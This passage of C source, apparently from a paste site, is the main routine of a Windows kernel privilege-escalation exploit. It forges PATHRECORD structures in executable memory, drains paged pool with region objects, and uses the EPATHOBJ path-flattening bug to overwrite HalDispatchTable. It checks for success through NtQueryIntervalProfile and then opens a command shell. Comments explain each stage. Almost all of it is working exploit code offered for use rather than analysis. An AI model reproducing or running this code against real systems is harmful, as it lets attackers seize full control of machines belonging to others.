  688. PAGE_EXECUTE_READWRITE);
  689.  
  690. LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);
  691.  
  692. // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
  693. // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
  694. // loop in EPATHOBJ::bFlatten().
  695. PathRecord->flags = 0;
  696. PathRecord->next = PathRecord;
  697. PathRecord->prev = (PPATHRECORD)(0x42424242);
  698.  
  699. LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
  700. LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
  701. LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
  702.  
  703. // Now we need to create a PATHRECORD at an address that is also a valid
  704. // x86 instruction, because the pointer will be interpreted as a function.
  705. // I've created a list of candidates in DispatchRedirect.
  706. LogMessage(L_INFO, "Searching for an available stub address...");
  707.  
  708. // I need to map at least two pages to guarantee the whole structure is
  709. // available.
  710. while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
  711. PAGE_SIZE * 2,
  712. MEM_COMMIT | MEM_RESERVE,
  713. PAGE_EXECUTE_READWRITE)) {
  714.  
  715. LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
  716. *DispatchRedirect & ~(PAGE_SIZE - 1),
  717. GetLastError());
  718.  
  719. // This page is not available, try the next candidate.
  720. if (!*++DispatchRedirect) {
  721. LogMessage(L_ERROR, "No redirect candidates left, sorry!");
  722. return 1;
  723. }
  724. }
  725.  
  726. LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);
  727.  
  728. // This PATHRECORD must terminate the list and recover.
  729. ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;
  730. ExploitRecordExit->next = NULL;
  731. ExploitRecordExit->prev = NULL;
  732. ExploitRecordExit->flags = PD_BEGINSUBPATH;
  733. ExploitRecordExit->count = 0;
  734.  
  735. LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next);
  736. LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev);
  737. LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags);
  738.  
  739. // This is the second stage PATHRECORD, which causes a fresh PATHRECORD
  740. // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
  741. // be copied over to the new record. Therefore, we get
  742. //
  743. // nt!HalDispatchTable[1] = &ExploitRecordExit.
  744. //
  745. // So we make &ExploitRecordExit a valid sequence of instuctions here.
  746. LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord);
  747.  
  748. ExploitRecord.next = (PPATHRECORD) *DispatchRedirect;
  749. ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1];
  750. ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
  751. ExploitRecord.count = 4;
  752.  
  753. LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next);
  754. LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev);
  755. LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags);
  756.  
  757. LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
  758.  
  759. // Generate a large number of Belier Curves made up of pointers to our
  760. // PATHRECORD object.
  761. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  762. Points[PointNum].x = (ULONG)(PathRecord) >> 4;
  763. Points[PointNum].y = (ULONG)(PathRecord) >> 4;
  764. PointTypes[PointNum] = PT_BEZIERTO;
  765. }
  766.  
  767. // Switch to a dedicated desktop so we don't spam the visible desktop with
  768. // our Lines (Not required, just stops the screen from redrawing slowly).
  769. SetThreadDesktop(CreateDesktop("DontPanic",
  770. NULL,
  771. NULL,
  772. 0,
  773. GENERIC_ALL,
  774. NULL));
  775.  
  776. // Get a handle to this Desktop.
  777. Device = GetDC(NULL);
  778.  
  779. // Take ownership of Mutex
  780. WaitForSingleObject(Mutex, INFINITE);
  781.  
  782. // Spawn a thread to cleanup
  783. Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
  784.  
  785. LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");
  786.  
  787. // We need to cause a specific AllocObject() to fail to trigger the
  788. // exploitable condition. To do this, I create a large number of rounded
  789. // rectangular regions until they start failing. I don't think it matters
  790. // what you use to exhaust paged memory, there is probably a better way.
  791. //
  792. // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  793. // failure. Seriously, do some damn QA Microsoft, wtf.
  794. for (Size = 1 << 26; Size; Size >>= 1) {
  795. while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
  796. NumRegion++;
  797. }
  798.  
  799. LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
  800.  
  801. LogMessage(L_INFO, "Flattening curves...");
  802.  
  803. for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
  804. BeginPath(Device);
  805. PolyDraw(Device, Points, PointTypes, PointNum);
  806. EndPath(Device);
  807. FlattenPath(Device);
  808. FlattenPath(Device);
  809.  
  810. // Test if exploitation succeeded.
  811. NtQueryIntervalProfile(ProfileTotalIssues, Interval);
  812.  
  813. // Repair any damage.
  814. *Interval = SavedInterval;
  815.  
  816. EndPath(Device);
  817. }
  818.  
  819. if (Finished) {
  820. LogMessage(L_INFO, "Success, launching shell...", Finished);
  821. ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW);
  822. LogMessage(L_INFO, "Press any key to exit...");
  823. getchar();
  824. ExitProcess(0);
  825. }
  826.  
  827. // If we reach here, we didn't trigger the condition. Let the other thread know.
  828. ReleaseMutex(Mutex);
  829. WaitForSingleObject(Thread, INFINITE);
  830. ReleaseDC(NULL, Device);
  831.  
  832. // Try again...
  833. LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
  834. LogMessage(L_INFO, "Press any key to exit...");
  835. getchar();
  836. ExitProcess(1);
  837. }
  838.  
  839. // A quick logging routine for debug messages.
  840. BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
  841. {
  842. CHAR Buffer[1024] = {0};
  843. va_list Args;
  844.  
  845. va_start(Args, Format);
  846. vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
  847. va_end(Args);
  848.  
  849. switch (Level) {
  850. case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
  851. case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
  852. case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;
  853. case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
  854. }
  855.  
  856. fflush(stdout);
  857. fflush(stderr);
  858.  
  859. return TRUE;
  860. }
Add Comment
Please, Sign In to add comment